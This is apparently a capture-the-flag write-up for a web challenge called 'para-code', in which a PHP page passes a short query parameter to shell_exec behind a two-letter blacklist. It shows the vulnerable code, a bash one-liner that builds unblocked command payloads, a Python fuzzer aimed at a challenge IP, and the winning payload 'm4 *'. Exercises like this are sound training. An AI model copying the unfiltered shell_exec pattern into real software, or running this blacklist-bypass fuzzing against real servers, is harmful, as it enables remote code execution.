para-code

Info	Details
Category	Web Exploitation
Difficulty	Medium

Challenge Overview

This is a common web challenge where we see the source code only after we access the index.php.

<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 

it means that if there is no start path in the url, we get the source code, which is a serious vulerabilty because we could understand how to get the flag.

Blacklist Filtering

the next important line of code is:

$blackList = array(
  'ss','sc','aa', .. );

where we understand that in the start path we shouldn t have nothing of what is above. That blacklist system could potentially be bypassed.

Command Length Restriction

if (strlen($_GET['start']) < 5){
  echo shell_exec($_GET['start']);
} else {
  echo "Please enter a valid command";
}

• The length of the command should be 4 or less.

Vulnerability Analysis

With these 3 important parts, I understand the the type of challenge I'm tackling so that s what I did to exploit this vulnerability (Remote Code Execution).

Payload Generation

comm -23 \
<(compgen -c | grep '^..$' | sort -u) \
<(echo -e "ss\nsc\naa\nod\npr\npw\npf\nps\npa\npd\npp\npo\npc\npz\npq\npt\npu\npv\npw\npx\npy\npk\npj\npl\npm\npn\nls\ndd\nnl\nnk\ndf\nwc\ndu" | sort -u) \
| awk '{print $0 " *"}' > att.txt

This command generates all 2-character shell commands that are not blacklisted, and appends * to each one, allowing to be fuzzed with a tool/python script.

Note: It's important to change your shell to BASH instead of ZSH to get ALL commands.

Fuzzing the start Parameter

Then fuzz the start path using a tool or a script like this one:

import requests
URL = "http://35.246.200.178:32296/?start=FUZZ"

with open("att.txt", "r") as file:
    lines = file.readlines()

for line in lines:
    fuzz_value = line.strip()
    new_url = URL.replace("FUZZ", fuzz_value) 

    response = requests.get(new_url)
    print(f"URL: {new_url}")
    print(f"Response: {response.text}\n")

Flag Disclosure

It seems that m4 * was the right command which reveal the flag. If you had created all these one in ZSH Shell you wouldn't have got m4 and that was the only correct solution.

made by k0d